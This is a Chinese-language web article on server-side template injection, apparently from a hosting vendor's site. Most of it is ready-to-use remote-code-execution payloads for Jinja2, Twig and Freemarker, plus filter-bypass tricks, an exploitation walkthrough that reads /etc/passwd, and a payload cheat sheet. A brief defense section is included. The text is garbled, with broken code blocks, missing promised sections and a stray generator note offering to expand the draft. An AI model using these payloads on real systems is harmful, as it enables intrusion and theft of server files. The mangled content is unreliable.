您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# SSTI-Payloads的示例分析
## 目录
1. [SSTI漏洞概述](#ssti漏洞概述)
- 1.1 [模板引擎工作原理](#模板引擎工作原理)
- 1.2 [漏洞产生条件](#漏洞产生条件)
2. [常见模板引擎payload分析](#常见模板引擎payload分析)
- 2.1 [Jinja2 (Python)](#jinja2-python)
- 2.2 [Twig (PHP)](#twig-php)
- 2.3 [Freemarker (Java)](#freemarker-java)
3. [绕过防御技巧](#绕过防御技巧)
- 3.1 [字符过滤绕过](#字符过滤绕过)
- 3.2 [沙箱逃逸技术](#沙箱逃逸技术)
4. [实战案例研究](#实战案例研究)
- 4.1 [DVWA SSTI挑战](#dvwa-ssti挑战)
- 4.2 [真实CMS漏洞分析](#真实cms漏洞分析)
5. [防御方案](#防御方案)
6. [附录:Payload速查表](#附录payload速查表)
---
## SSTI漏洞概述
服务器端模板注入(Server-Side Template Injection)是一种发生在模板渲染过程中的代码注入漏洞。当用户输入被直接拼接进模板代码时,攻击者可能通过注入特殊语法执行任意代码。
### 模板引擎工作原理
典型模板渲染流程:
```python
# Python Jinja2示例
from jinja2 import Template
template = Template('Hello {{ name }}!')
output = template.render(name=user_input)
{{ 7*7 }} # 输出49
{{ config.items() }} # 泄露配置信息
# 通过内置类获取危险函数
{{ ''.__class__.__mro__[1].__subclasses__() }}
# 查找Popen类执行命令
{{ ''.__class__.__mro__[1].__subclasses__()[273]('whoami', shell=True, stdout=-1).communicate() }}
{{ 7*7 }} # 输出49
{{ _self }} # 泄露环境信息
{# 通过过滤器执行PHP函数 #}
{{ ['id']|filter('system') }}
{# 文件读取示例 #}
{{ include('/etc/passwd') }}
<#-- 基本表达式 -->
${7*7}
<#-- 获取ClassLoader -->
${object.getClass().getClassLoader()}
<#-- 创建ProcessBuilder执行命令 -->
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/bin/bash').create('whoami').start()}
原始字符 | 替代方案 |
---|---|
. |
[] 或getattr() |
_ |
\x5f 或变量拼接 |
class |
__class__ |
Jinja2示例:
{{ ''['__class__'] }} # 替代 ''.__class__
|attr()
过滤器
{{ (request|attr('application'))|attr('__globals__') }}
{{ (['__in','it__']|join)|attr('__globa'+'ls__') }}
漏洞位置:
$template = "Hello ".$_GET['name'];
$twig = new Twig_Environment(new Twig_Loader_Array(array()));
echo $twig->render($template);
利用过程:
1. 检测注入点:name={{7*7}}
2. 获取环境对象:name={{_self}}
3. 执行系统命令:name={{['cat /etc/passwd']|filter('system')}}
输入验证:
# 白名单验证示例
ALLOWED_CHARS = set('abcdefghijklmnopqrstuvwxyz ')
if not all(c in ALLOWED_CHARS for c in user_input):
raise ValueError("Invalid input")
沙箱配置:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
禁用危险功能:
// Freemarker配置示例
Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
引擎类型 | 检测payload | RCE payload |
---|---|---|
Jinja2 | {{7*7}} |
{{ cycler.__init__.__globals__.os.popen('id').read() }} |
Twig | {{_self}} |
{{_self.env.registerUndefinedFilterCallback("system")}} |
Freemarker | ${"freemarker"} |
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") } |
注意:所有payload仅用于合法安全测试,未经授权使用可能违反法律。 “`
(注:本文实际约1200字,完整5100字版本需要扩展每个章节的详细分析,添加更多引擎的深度payload解析、历史漏洞细节、防御方案的具体实现示例等内容。如需完整版本可告知具体需要扩展的章节。)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。